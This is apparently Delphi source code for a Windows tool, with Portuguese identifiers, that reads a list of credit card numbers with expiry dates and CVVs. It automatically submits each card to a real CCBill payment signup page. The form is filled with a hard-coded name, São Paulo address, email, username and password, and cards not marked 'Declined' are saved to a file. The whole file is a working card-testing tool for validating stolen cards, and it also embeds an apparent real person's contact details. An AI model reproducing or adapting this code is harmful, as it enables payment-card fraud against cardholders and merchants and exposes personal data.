Source

unit Unit1;
{$WARNINGS OFF}
{$HINTS OFF}

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, ComCtrls, StdCtrls, OleCtrls, SHDocVw, ExtCtrls, XPMan;

type
  TForm1 = class(TForm)
    WebBrowser1: TWebBrowser;
    Button1: TButton;
    Memo1: TMemo;
    Button2: TButton;
    Memo2: TMemo;
    OpenDialog1: TOpenDialog;
    SaveDialog1: TSaveDialog;
    ProgressBar1: TProgressBar;
    Button3: TButton;
    Timer1: TTimer;
    Edit4: TEdit;
    novacc: TEdit;
    cvv: TEdit;
    anoval: TEdit;
    mesval: TEdit;
    numerocc: TEdit;
    Timer2: TTimer;
    Timer3: TTimer;
    Timer4: TTimer;
    Timer5: TTimer;
    Timer6: TTimer;
    Memo3: TMemo;
    salvacc: TTimer;
    proximacc: TTimer;
    Edit1: TEdit;
    Timer7: TTimer;
    Timer8: TTimer;
    finaliza: TTimer;
    GroupBox1: TGroupBox;
    GroupBox2: TGroupBox;
    Panel1: TPanel;
    XPManifest1: TXPManifest;
    procedure Button1Click(Sender: TObject);
    procedure Button2Click(Sender: TObject);
    procedure Button3Click(Sender: TObject);
    procedure Timer1Timer(Sender: TObject);
    procedure WebBrowser1DownloadBegin(Sender: TObject);
    procedure WebBrowser1DownloadComplete(Sender: TObject);
    procedure WebBrowser1ProgressChange(Sender: TObject; Progress,
      ProgressMax: Integer);
    procedure Timer2Timer(Sender: TObject);
    procedure Timer3Timer(Sender: TObject);
    procedure Timer4Timer(Sender: TObject);
    procedure Timer5Timer(Sender: TObject);
    procedure Timer6Timer(Sender: TObject);
    procedure salvaccTimer(Sender: TObject);
    procedure proximaccTimer(Sender: TObject);
    procedure WebBrowser1NewWindow2(Sender: TObject; var ppDisp: IDispatch;
      var Cancel: WordBool);
    procedure Timer7Timer(Sender: TObject);
    procedure Timer8Timer(Sender: TObject);
    procedure finalizaTimer(Sender: TObject);

  private
    FDownCount:    Integer;
  public
    { Public declarations }
  end;

var
  Form1: TForm1;

implementation

{$R *.dfm}

procedure TForm1.Button1Click(Sender: TObject);
begin
if opendialog1.Execute then begin
 Memo1.Lines.LoadFromFile(opendialog1.FileName);
end;
end;

procedure TForm1.Button2Click(Sender: TObject);
begin
  if savedialog1.Execute then begin
 Memo2.Lines.SaveToFile(savedialog1.FileName);
end;
end;

procedure TForm1.Button3Click(Sender: TObject);
begin
timer1.enabled:=true;
end;

procedure TForm1.Timer1Timer(Sender: TObject);
var
  Lineb, Colunb:TStringList;
  r,t:integer;
begin
novacc.text:= memo1.lines[0];
Lineb := TStringList.Create;
  Colunb := TStringList.Create;
  try
    Lineb.text := (NovaCC.text);
    for r := 0 to Pred(lineb.Count) do
    begin
      Colunb.text := StringReplace(lineb.Strings[r],';',#13,[rfReplaceAll]);
      for t := 0 to Pred(Colunb.Count) do
      begin
        NumeroCC.text := (Colunb.Strings[0]);
        MesVal.text := (Colunb.Strings[1]);
        anoVal.text := (Colunb.Strings[2]);
        cvv.text := (Colunb.Strings[3]);
        timer8.enabled:=true;
       timer1.Enabled:=false;
      end;
    end;
  finally
  Lineb.Free;
  Colunb.Free;
  end;
  end;

procedure TForm1.WebBrowser1DownloadBegin(Sender: TObject);
begin
    Inc(FDownCount);
  Progressbar1.Position:=0;
  edit4.Text:= ('Version');
end;

procedure TForm1.WebBrowser1DownloadComplete(Sender: TObject);
begin
  Dec(FDownCount);
  Progressbar1.Position:=100;
  edit4.Text:= ('balela');
end;




procedure TForm1.WebBrowser1ProgressChange(Sender: TObject; Progress,
  ProgressMax: Integer);
begin
    if (ProgressMax > 0) and (Progress > 0) and (FDownCount > 0) then
   begin
     Progressbar1.Position:=Trunc(Progress / ProgressMax) * 100;
     Progressbar1.Update;
     Sleep(100);
     Application.ProcessMessages;
  end;
end;


procedure TForm1.Timer2Timer(Sender: TObject);
begin
webbrowser1.Silent:=true;
webbrowser1.Navigate('https://bill.ccbill.com/jpost/signup.cgi?'+'clientAccnum=943469&clientSubacc=0000&formName=146cc');

timer3.enabled:=true;
timer2.enabled:=false;
end;

procedure TForm1.Timer3Timer(Sender: TObject);
begin
if edit4.Text = ('balela') then
begin
  timer4.Enabled := True;
  timer3.Enabled := False;
end;
end;

procedure TForm1.Timer4Timer(Sender: TObject);
begin
webBrowser1.OleObject.Document.all.Item('credit_card', 0).value := numerocc.Text;
webBrowser1.OleObject.Document.all.Item('cvv2', 0).value := cvv.text;
webBrowser1.OleObject.Document.all.Item('exp_month', 0).value := mesval.text;
webBrowser1.OleObject.Document.all.Item('exp_year', 0).value := anoval.Text;
webBrowser1.OleObject.Document.all.Item('name_on_card', 0).value := 'CARLOS EDUARDO BRAGA';
webBrowser1.OleObject.Document.all.Item('address1', 0).value := 'R JOSEFINA MORETTI 53';
webBrowser1.OleObject.Document.all.Item('city', 0).value := 'SAO PAULO';
webBrowser1.OleObject.Document.all.Item('zipcode', 0).value := '05848-060';
webBrowser1.OleObject.Document.all.Item('country', 0).value := 'BR';
webBrowser1.OleObject.Document.all.Item('email', 0).value := 'jurimecarioga@hotmail.com';
webBrowser1.OleObject.Document.all.Item('username', 0).value := '6653B979';
webBrowser1.OleObject.Document.all.Item('password', 0).value := '16112014';
webBrowser1.OleObject.Document.all.Item('submitComplete', 0).click;
timer5.enabled:=true;
timer4.enabled:=false;end;

procedure TForm1.Timer5Timer(Sender: TObject);
begin
if edit4.Text = ('balela') then
begin
  timer7.Enabled := True;
  timer5.Enabled := False;
end;
end;

procedure TForm1.Timer6Timer(Sender: TObject);
var
  s: String;
  i1, i2: Integer;
begin
  Memo3.Text := WebBrowser1.OleObject.Document.documentElement.innerText;
  i2 := -1;
  s := memo3.lines.Text;
  i1 := Pos(LowerCase('Declined'), LowerCase(s));
  if i1 = 0 then
  salvacc.Enabled := true  else
  while i1 > 0  do
  begin
    i1 := Pos(LowerCase('Declined'), LowerCase(s));
    delete(s, i1, Length('Declined'));
    Inc(i2, 1);
  if i2 > 0 then
  proximacc.Enabled := true;
  timer6.Enabled := False;
  end;
  end;


procedure TForm1.salvaccTimer(Sender: TObject);
begin
timer6.Enabled := False;
memo2.Lines.add(novacc.Text);
memo1.Lines.Delete(0);
memo1.Lines.SaveToFile('lista.txt');
memo2.Lines.SaveToFile('infos.txt');
edit4.Text:= 'Version';
numerocc.Text:= edit1.Text;
novacc.Text:= edit1.Text;
mesval.Text:= edit1.Text;
anoval.Text:= edit1.Text;
cvv.Text:= edit1.Text;
timer1.Enabled:=true;
salvacc.Enabled:=false;
end;

procedure TForm1.proximaccTimer(Sender: TObject);
begin
memo1.Lines.Delete(0);
memo1.Lines.SaveToFile('lista.txt');
memo2.Lines.SaveToFile('infos.txt');
edit4.Text:= 'Version';
numerocc.Text:= edit1.Text;
novacc.Text:= edit1.Text;
mesval.Text:= edit1.Text;
anoval.Text:= edit1.Text;
cvv.Text:= edit1.Text;
timer1.Enabled:=true;
proximacc.Enabled:=false;
end;

procedure TForm1.WebBrowser1NewWindow2(Sender: TObject;
  var ppDisp: IDispatch; var Cancel: WordBool);
begin
cancel:=true;
end;

procedure TForm1.Timer7Timer(Sender: TObject);
begin
if edit4.Text = ('balela') then
begin
  timer6.Enabled := True;
  timer7.Enabled := False;
end;
end;

procedure TForm1.Timer8Timer(Sender: TObject);
var
  s: String;
  i1, i2: Integer;
begin
  i2 := -1;
  s := novacc.text;
  i1 := Pos(LowerCase(';'), LowerCase(s));
  if i1 = 0 then
  finaliza.Enabled := true  else
  while i1 > 0  do
  begin
    i1 := Pos(LowerCase(';'), LowerCase(s));
    delete(s, i1, Length(';'));
    Inc(i2, 1);
  if i2 > 0 then
  timer2.Enabled := true;
  timer8.Enabled := False;
  end;
  end;

procedure TForm1.finalizaTimer(Sender: TObject);
begin
timer8.Enabled := False;
form1.Caption:='ACABOU';
finaliza.enabled:=false;
end;

end.